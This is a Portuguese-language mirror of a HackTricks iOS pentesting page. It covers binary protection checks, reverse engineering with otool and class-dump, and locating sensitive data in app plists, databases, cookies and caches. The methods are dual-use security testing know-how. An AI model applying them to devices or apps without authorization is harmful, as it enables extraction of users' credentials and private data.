mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 06:53:11 +00:00
1203 lines
70 KiB
Markdown
1203 lines
70 KiB
Markdown
# iOS Pentesting
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Fundamentos do iOS
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Ambiente de Teste
|
||
|
||
Nesta página, você pode encontrar informações sobre o **simulador do iOS**, **emuladores** e **jailbreaking**:
|
||
|
||
{% content-ref url="ios-testing-environment.md" %}
|
||
[ios-testing-environment.md](ios-testing-environment.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Análise Inicial
|
||
|
||
### Operações Básicas de Teste no iOS
|
||
|
||
Durante o teste, **serão sugeridas várias operações** (conectar ao dispositivo, ler/escrever/upload/download de arquivos, usar algumas ferramentas...). Portanto, se você não sabe como realizar alguma dessas ações, por favor, **comece lendo a página**:
|
||
|
||
{% content-ref url="basic-ios-testing-operations.md" %}
|
||
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="info" %}
|
||
Para os próximos passos, **o aplicativo deve estar instalado** no dispositivo e você deve ter obtido o arquivo **IPA** do aplicativo.\
|
||
Leia a página [Operações Básicas de Teste no iOS](basic-ios-testing-operations.md) para aprender como fazer isso.
|
||
{% endhint %}
|
||
|
||
### Análise Estática Básica
|
||
|
||
É recomendado usar a ferramenta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar uma Análise Estática automática do arquivo IPA.
|
||
|
||
Identificação de **proteções presentes no binário**:
|
||
|
||
* **PIE (Executable Independente de Posição)**: Quando ativado, o aplicativo é carregado em um endereço de memória aleatório toda vez que é iniciado, tornando mais difícil prever seu endereço de memória inicial.
|
||
|
||
```bash
|
||
otool -hv <app-binary> | grep PIE # Deve incluir a flag PIE
|
||
```
|
||
* **Canários de Pilha**: Para validar a integridade da pilha, um valor 'canário' é colocado na pilha antes de chamar uma função e é validado novamente uma vez que a função termina.
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep stack_chk # Deve incluir os símbolos: stack_chk_guard e stack_chk_fail
|
||
```
|
||
* **ARC (Contagem Automática de Referências)**: Para prevenir falhas comuns de corrupção de memória
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep objc_release # Deve incluir o símbolo _objc_release
|
||
```
|
||
* **Binário Criptografado**: O binário deve ser criptografado
|
||
|
||
```bash
|
||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # O cryptid deve ser 1
|
||
```
|
||
|
||
**Identificação de Funções Sensíveis/Inseguras**
|
||
|
||
* **Algoritmos de Hash Fracos**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_CC_MD5"
|
||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||
|
||
# No linux
|
||
grep -iER "_CC_MD5"
|
||
grep -iER "_CC_SHA1"
|
||
```
|
||
* **Funções Aleatórias Inseguras**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_random"
|
||
otool -Iv <app> | grep -w "_srand"
|
||
otool -Iv <app> | grep -w "_rand"
|
||
|
||
# No linux
|
||
grep -iER "_random"
|
||
grep -iER "_srand"
|
||
grep -iER "_rand"
|
||
```
|
||
* **Função ‘Malloc’ Insegura**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_malloc"
|
||
|
||
# No linux
|
||
grep -iER "_malloc"
|
||
```
|
||
* **Funções Inseguras e Vulneráveis**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_gets"
|
||
otool -Iv <app> | grep -w "_memcpy"
|
||
otool -Iv <app> | grep -w "_strncpy"
|
||
otool -Iv <app> | grep -w "_strlen"
|
||
otool -Iv <app> | grep -w "_vsnprintf"
|
||
otool -Iv <app> | grep -w "_sscanf"
|
||
otool -Iv <app> | grep -w "_strtok"
|
||
otool -Iv <app> | grep -w "_alloca"
|
||
otool -Iv <app> | grep -w "_sprintf"
|
||
otool -Iv <app> | grep -w "_printf"
|
||
otool -Iv <app> | grep -w "_vsprintf"
|
||
|
||
# No linux
|
||
grep -R "_gets"
|
||
grep -iER "_memcpy"
|
||
grep -iER "_strncpy"
|
||
grep -iER "_strlen"
|
||
grep -iER "_vsnprintf"
|
||
grep -iER "_sscanf"
|
||
grep -iER "_strtok"
|
||
grep -iER "_alloca"
|
||
grep -iER "_sprintf"
|
||
grep -iER "_printf"
|
||
grep -iER "_vsprintf"
|
||
```
|
||
|
||
### Análise Dinâmica Básica
|
||
|
||
Confira a análise dinâmica que o [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele estará interceptando várias classes e fazendo outras coisas, e preparará um relatório quando você terminar.
|
||
|
||
### Listando Aplicativos Instalados
|
||
|
||
Ao mirar aplicativos que estão instalados no dispositivo, você primeiro terá que descobrir o identificador de pacote correto do aplicativo que deseja analisar. Você pode usar `frida-ps -Uai` para obter todos os aplicativos (`-a`) atualmente instalados (`-i`) no dispositivo USB conectado (`-U`):
|
||
```bash
|
||
$ frida-ps -Uai
|
||
PID Name Identifier
|
||
---- ------------------- -----------------------------------------
|
||
6847 Calendar com.apple.mobilecal
|
||
6815 Mail com.apple.mobilemail
|
||
- App Store com.apple.AppStore
|
||
- Apple Store com.apple.store.Jolly
|
||
- Calculator com.apple.calculator
|
||
- Camera com.apple.camera
|
||
- iGoat-Swift OWASP.iGoat-Swift
|
||
```
|
||
### Enumeração Básica & Hooking
|
||
|
||
Aprenda a **enumerar os componentes da aplicação** e como **enganchar métodos e classes** facilmente com objection:
|
||
|
||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Estrutura do IPA
|
||
|
||
Arquivos `.ipa` são **pacotes compactados**, então você pode mudar a extensão para `.zip` e **descompactá-los**. Uma aplicação **completa** **empacotada** pronta para ser instalada é comumente referida como **Bundle**.\
|
||
Após descompactá-los, você deve ver `<NAME>.app`, um arquivo compactado que contém o restante dos recursos.
|
||
|
||
* `Info.plist`: Um arquivo que contém algumas das configurações específicas da aplicação.
|
||
* `_CodeSignature/` contém um arquivo plist com uma assinatura sobre todos os arquivos no bundle.
|
||
* `Assets.car`: Outro arquivo compactado que contém ativos (ícones).
|
||
* `Frameworks/` contém as bibliotecas nativas da aplicação como arquivos .dylib ou .framework.
|
||
* `PlugIns/` pode conter extensões da aplicação como arquivos .appex (não presente no exemplo).
|
||
* [`Core Data`](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer à sua aplicação em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta iCloud, o Core Data espelha automaticamente seu esquema para um contêiner CloudKit.
|
||
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador da sua aplicação ou bundle.
|
||
* **en.lproj, fr.proj, Base.lproj**: São os pacotes de idiomas que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
|
||
|
||
Existem várias maneiras de definir a UI em uma aplicação iOS: arquivos _storyboard_, _nib_ ou _xib_.
|
||
|
||
**Info.plist**
|
||
|
||
A lista de propriedades de informação ou `Info.plist` é a principal fonte de informação para um aplicativo iOS. Consiste em um arquivo estruturado contendo pares **chave-valor** que descrevem informações essenciais de configuração sobre o aplicativo. Na verdade, espera-se que todos os executáveis empacotados (extensões de aplicativos, frameworks e aplicativos) tenham um arquivo `Info.plist`. Você pode encontrar todas as chaves possíveis na [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||
|
||
O arquivo pode ser formatado em **XML ou binário (bplist)**. Você pode **convertê-lo para o formato XML** com um comando simples:
|
||
|
||
* No macOS com `plutil`, que é uma ferramenta que vem nativamente com o macOS 10.2 e versões superiores (atualmente não há documentação oficial disponível online):
|
||
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
* No Linux:
|
||
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
|
||
Aqui está uma lista não exaustiva de algumas informações e as palavras-chave correspondentes que você pode facilmente procurar no arquivo `Info.plist` apenas inspecionando o arquivo ou usando `grep -i <keyword> Info.plist`:
|
||
|
||
* Strings de Propósito de Permissões de Aplicativo: `UsageDescription`
|
||
* Esquemas de URL personalizados: `CFBundleURLTypes`
|
||
* Tipos de documentos personalizados exportados/importados: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`
|
||
* Configuração de Segurança de Transporte de Aplicativo (ATS): `NSAppTransportSecurity`
|
||
|
||
Por favor, consulte os capítulos mencionados para aprender mais sobre como testar cada um desses pontos.
|
||
|
||
**Caminhos de Dados**
|
||
|
||
No iOS, **aplicações do sistema podem ser encontradas no diretório `/Applications`** enquanto aplicativos **instalados pelo usuário** estão disponíveis em **`/private/var/containers/`**. No entanto, encontrar a pasta certa apenas navegando pelo sistema de arquivos não é uma tarefa trivial, pois **cada aplicativo recebe um UUID (Identificador Único Universal) de 128 bits aleatório** atribuído para os nomes de seus diretórios.
|
||
|
||
Para obter facilmente as informações do diretório de instalação para aplicativos instalados pelo usuário, você pode usar o comando **`env` do objection** que também mostrará todas as informações do diretório do aplicativo:
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||
|
||
Name Path
|
||
----------------- -------------------------------------------------------------------------------------------
|
||
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
|
||
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
|
||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||
```
|
||
Você também pode procurar pelo nome do aplicativo dentro de **`/private/var/containers`**:
|
||
```bash
|
||
find /private/var/containers -name "Progname*"
|
||
```
|
||
Ou usando **`ps`** e **`lsof`**:
|
||
```bash
|
||
ps -ef | grep -i <app-name>
|
||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||
```
|
||
Como você pode ver, os aplicativos têm duas localizações principais:
|
||
|
||
* O **diretório Bundle** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`).
|
||
* O **diretório de Dados** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`).
|
||
|
||
Essas pastas contêm informações que devem ser examinadas cuidadosamente durante avaliações de segurança de aplicativos (por exemplo, ao analisar os dados armazenados em busca de dados sensíveis).
|
||
|
||
**Diretório Bundle:**
|
||
|
||
* **AppName.app**
|
||
* Este é o Bundle do Aplicativo como visto anteriormente no IPA, contém dados essenciais do aplicativo, conteúdo estático, bem como o binário compilado do aplicativo.
|
||
* Este diretório é visível para os usuários, mas **usuários não podem escrever nele**.
|
||
* O conteúdo deste diretório **não é feito backup**.
|
||
* Os conteúdos desta pasta são usados para **validar a assinatura do código**.
|
||
|
||
**Diretório de Dados:**
|
||
|
||
* **Documents/**
|
||
* Contém todos os dados gerados pelo usuário. O usuário final do aplicativo inicia a criação desses dados.
|
||
* Visível para os usuários e **usuários podem escrever nele**.
|
||
* O conteúdo deste diretório **é feito backup**.
|
||
* O aplicativo pode desativar caminhos definindo `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/**
|
||
* Contém todos os **arquivos que não são específicos do usuário**, como **caches**, **preferências**, **cookies** e arquivos de configuração de lista de propriedades (plist).
|
||
* Aplicativos iOS geralmente usam os subdiretórios `Application Support` e `Caches`, mas o aplicativo pode criar subdiretórios personalizados.
|
||
* **Library/Caches/**
|
||
* Contém **arquivos de cache semi-persistentes**.
|
||
* Invisível para os usuários e **usuários não podem escrever nele**.
|
||
* O conteúdo deste diretório **não é feito backup**.
|
||
* O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o aplicativo não está em execução e o espaço de armazenamento está baixo.
|
||
* **Library/Application Support/**
|
||
* Contém **arquivos persistentes** necessários para a execução do aplicativo.
|
||
* **Invisível** para **usuários** e usuários não podem escrever nele.
|
||
* O conteúdo deste diretório **é feito backup**.
|
||
* O aplicativo pode desativar caminhos definindo `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/Preferences/**
|
||
* Usado para armazenar propriedades que podem **persistir mesmo após o reinício de um aplicativo**.
|
||
* As informações são salvas, não criptografadas, dentro do sandbox do aplicativo em um arquivo plist chamado \[BUNDLE\_ID].plist.
|
||
* Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo.
|
||
* **tmp/**
|
||
* Use este diretório para escrever **arquivos temporários** que não precisam persistir entre os lançamentos do aplicativo.
|
||
* Contém arquivos de cache não persistentes.
|
||
* **Invisível** para os usuários.
|
||
* O conteúdo deste diretório não é feito backup.
|
||
* O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o aplicativo não está em execução e o espaço de armazenamento está baixo.
|
||
|
||
Vamos dar uma olhada mais de perto no diretório Bundle do Aplicativo iGoat-Swift (.app) dentro do diretório Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||
NSFileType Perms NSFileProtection ... Name
|
||
------------ ------- ------------------ ... --------------------------------------
|
||
Regular 420 None ... rutger.html
|
||
Regular 420 None ... mansi.html
|
||
Regular 420 None ... splash.html
|
||
Regular 420 None ... about.html
|
||
|
||
Regular 420 None ... LICENSE.txt
|
||
Regular 420 None ... Sentinel.txt
|
||
Regular 420 None ... README.txt
|
||
```
|
||
### Reversão de Binário
|
||
|
||
Dentro da pasta `<application-name>.app`, você encontrará um arquivo binário chamado `<application-name>`. Este é o arquivo que será **executado**. Você pode realizar uma inspeção básica do binário com a ferramenta **`otool`**:
|
||
```bash
|
||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
|
||
|
||
otool -L DVIA-v2 #Get third party libraries
|
||
DVIA-v2:
|
||
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
|
||
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
|
||
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
|
||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||
[...]
|
||
```
|
||
**Verifique se o aplicativo está criptografado**
|
||
|
||
Veja se há alguma saída para:
|
||
```bash
|
||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||
```
|
||
**Desmontando o binário**
|
||
|
||
Desmonte a seção de texto:
|
||
```bash
|
||
otool -tV DVIA-v2
|
||
DVIA-v2:
|
||
(__TEXT,__text) section
|
||
+[DDLog initialize]:
|
||
0000000100004ab8 sub sp, sp, #0x60
|
||
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
|
||
0000000100004ac0 add x29, sp, #0x50
|
||
0000000100004ac4 sub x8, x29, #0x10
|
||
0000000100004ac8 mov x9, #0x0
|
||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||
0000000100004ad0 add x10, x10, #0x268
|
||
```
|
||
Para imprimir o **segmento Objective-C** do aplicativo de exemplo, pode-se usar:
|
||
```bash
|
||
otool -oV DVIA-v2
|
||
DVIA-v2:
|
||
Contents of (__DATA,__objc_classlist) section
|
||
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
|
||
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
|
||
superclass 0x0 _OBJC_CLASS_$_NSObject
|
||
cache 0x0 __objc_empty_cache
|
||
vtable 0x0
|
||
data 0x1003de748
|
||
flags 0x80
|
||
instanceStart 8
|
||
```
|
||
Para obter um código Objective-C mais compacto, você pode usar [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||
```bash
|
||
class-dump some-app
|
||
//
|
||
// Generated by class-dump 3.5 (64 bit).
|
||
//
|
||
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
|
||
//
|
||
|
||
#pragma mark Named Structures
|
||
|
||
struct CGPoint {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
|
||
struct CGRect {
|
||
struct CGPoint _field1;
|
||
struct CGSize _field2;
|
||
};
|
||
|
||
struct CGSize {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
```
|
||
No entanto, as melhores opções para desmontar o binário são: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Armazenamento de Dados
|
||
|
||
Para aprender sobre como o iOS armazena dados no dispositivo, leia esta página:
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="warning" %}
|
||
Os seguintes locais para armazenar informações devem ser verificados **imediatamente após a instalação do aplicativo**, **após verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em outro diferente**.\
|
||
O objetivo é encontrar **informações sensíveis desprotegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários previamente logados.
|
||
{% endhint %}
|
||
|
||
### Plist
|
||
|
||
Arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma maneira de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após instalar o aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
|
||
|
||
A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
|
||
|
||
A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com **preferências do usuário**. Dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um arquivo **plist**, mas é destinada a ser usada com pequenas quantidades de dados.
|
||
|
||
Esses dados não podem mais ser acessados diretamente via um computador confiável, mas podem ser acessados realizando um **backup**.
|
||
|
||
Você pode **despejar** as informações salvas usando **`NSUserDefaults`** usando o comando `ios nsuserdefaults get` do objection.
|
||
|
||
Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/private/var/mobile/Containers/Data/Application/{APPID}` e executar:
|
||
```bash
|
||
find ./ -name "*.plist"
|
||
```
|
||
O arquivo pode estar formatado em **XML ou binário (bplist)**. Você pode **converti-lo para o formato XML** com um comando simples:
|
||
|
||
* No macOS com `plutil`, que é uma ferramenta que vem nativamente com o macOS 10.2 e versões superiores (nenhuma documentação oficial online está disponível no momento):
|
||
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
* No Linux:
|
||
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
* Em uma sessão de objection:
|
||
|
||
```bash
|
||
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
|
||
```
|
||
|
||
### Core Data
|
||
|
||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) é um framework para gerenciar a camada de modelo de objetos em sua aplicação. [Core Data pode usar SQLite como seu armazenamento persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mas o próprio framework não é um banco de dados.\
|
||
CoreData não criptografa seus dados por padrão. No entanto, uma camada adicional de criptografia pode ser adicionada ao CoreData. Veja o [Repositório GitHub](https://github.com/project-imas/encrypted-core-data) para mais detalhes.
|
||
|
||
Você pode encontrar as informações do Core Data SQLite de uma aplicação no caminho `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||
|
||
**Se você conseguir abrir o SQLite e acessar informações sensíveis, então você encontrou uma má configuração.**
|
||
|
||
{% code title="Código do iGoat" %}
|
||
```objectivec
|
||
-(void)storeDetails {
|
||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||
|
||
NSManagedObjectContext *context =[appDelegate managedObjectContext];
|
||
|
||
User *user = [self fetchUser];
|
||
if (user) {
|
||
return;
|
||
}
|
||
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
|
||
inManagedObjectContext:context];
|
||
user.email = CoreDataEmail;
|
||
user.password = CoreDataPassword;
|
||
NSError *error;
|
||
if (![context save:&error]) {
|
||
NSLog(@"Error in saving data: %@", [error localizedDescription]);
|
||
|
||
}else{
|
||
NSLog(@"data stored in core data");
|
||
}
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
### YapDatabase
|
||
|
||
[YapDatabase](https://github.com/yapstudios/YapDatabase) é um armazenamento de chave/valor construído em cima do SQLite.\
|
||
Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-los usando o comando sugerido na seção anterior.
|
||
|
||
### Outros Bancos de Dados SQLite
|
||
|
||
É comum que aplicações criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixando-os sem criptografia. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório de aplicações. Para isso, vá até o diretório da aplicação onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||
```bash
|
||
find ./ -name "*.sqlite" -or -name "*.db"
|
||
```
|
||
### Bases de Dados Firebase em Tempo Real
|
||
|
||
Podem ser utilizadas por desenvolvedores de aplicativos para **armazenar e sincronizar dados com um banco de dados hospedado na nuvem NoSQL**. Os dados são armazenados como JSON e são sincronizados em tempo real com todos os clientes conectados e também permanecem disponíveis mesmo quando o aplicativo fica offline.
|
||
|
||
Você pode encontrar como verificar bases de dados Firebase mal configuradas aqui:
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bases de Dados Realm
|
||
|
||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) não são fornecidos pela Apple, mas ainda assim são importantes de se notar. Eles **armazenam tudo sem criptografia, a menos que a configuração tenha a criptografia ativada**.
|
||
|
||
Você pode encontrar estas bases de dados em `/private/var/mobile/Containers/Data/Application/{APPID}`
|
||
```bash
|
||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||
|
||
$ find ./ -name "*.realm*"
|
||
```
|
||
Você pode usar a ferramenta [**Realm Studio**](https://github.com/realm/realm-studio) para abrir esses arquivos de banco de dados.
|
||
|
||
O exemplo a seguir demonstra como usar criptografia com um banco de dados Realm:
|
||
```swift
|
||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||
let config = Realm.Configuration(encryptionKey: getKey())
|
||
do {
|
||
let realm = try Realm(configuration: config)
|
||
// Use the Realm as normal
|
||
} catch let error as NSError {
|
||
// If the encryption key is wrong, `error` will say that it's an invalid database
|
||
fatalError("Error opening realm: \(error)")
|
||
}
|
||
```
|
||
### Bases de Dados Couchbase Lite
|
||
|
||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) é um motor de base de dados leve, embutido e orientado a documentos (NoSQL) que pode ser sincronizado. Compila nativamente para iOS e macOS.
|
||
|
||
Verifique possíveis bases de dados couchbase em `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`
|
||
|
||
### Cookies
|
||
|
||
O iOS armazena os cookies dos aplicativos no **`Library/Cookies/cookies.binarycookies`** dentro de cada pasta de aplicativos. No entanto, desenvolvedores às vezes optam por salvá-los no **keychain**, pois o mencionado **arquivo de cookies pode ser acessado em backups**.
|
||
|
||
Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o comando do objection **`ios cookies get`.**\
|
||
**Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||
[
|
||
{
|
||
"domain": "highaltitudehacks.com",
|
||
"expiresDate": "2051-09-15 07:46:43 +0000",
|
||
"isHTTPOnly": "false",
|
||
"isSecure": "false",
|
||
"name": "username",
|
||
"path": "/",
|
||
"value": "admin123",
|
||
"version": "0"
|
||
}
|
||
]
|
||
```
|
||
### Cache
|
||
|
||
Por padrão, NSURLSession armazena dados, como **requisições e respostas HTTP no banco de dados Cache.db**. Este banco de dados pode conter **dados sensíveis**, se tokens, nomes de usuário ou qualquer outra informação sensível foram armazenados em cache. Para encontrar as informações em cache, abra o diretório de dados do aplicativo (`/var/mobile/Containers/Data/Application/<UUID>`) e vá para `/Library/Caches/<Bundle Identifier>`. O **cache do WebKit também é armazenado no arquivo Cache.db**. **Objection** pode abrir e interagir com o banco de dados com o comando `sqlite connect Cache.db`, pois é um **banco de dados SQLite normal**.
|
||
|
||
É **recomendado desativar o armazenamento em cache desses dados**, pois eles podem conter informações sensíveis na requisição ou resposta. A lista a seguir mostra diferentes maneiras de conseguir isso:
|
||
|
||
1. É recomendado remover as respostas armazenadas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Você pode chamar este método da seguinte forma:
|
||
|
||
`URLCache.shared.removeAllCachedResponses()`
|
||
|
||
Este método removerá todas as requisições e respostas armazenadas em cache do arquivo Cache.db.
|
||
2. Se você não precisa usar a vantagem dos cookies, seria recomendado usar apenas a propriedade de configuração [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que desativará o salvamento de cookies e caches.
|
||
|
||
[Documentação da Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||
|
||
`Um objeto de configuração de sessão efêmera é semelhante a uma configuração de sessão padrão (veja default), exceto que o objeto de sessão correspondente não armazena caches, lojas de credenciais ou quaisquer dados relacionados à sessão em disco. Em vez disso, os dados relacionados à sessão são armazenados em RAM. A única vez que uma sessão efêmera grava dados em disco é quando você a instrui a escrever o conteúdo de uma URL em um arquivo.`
|
||
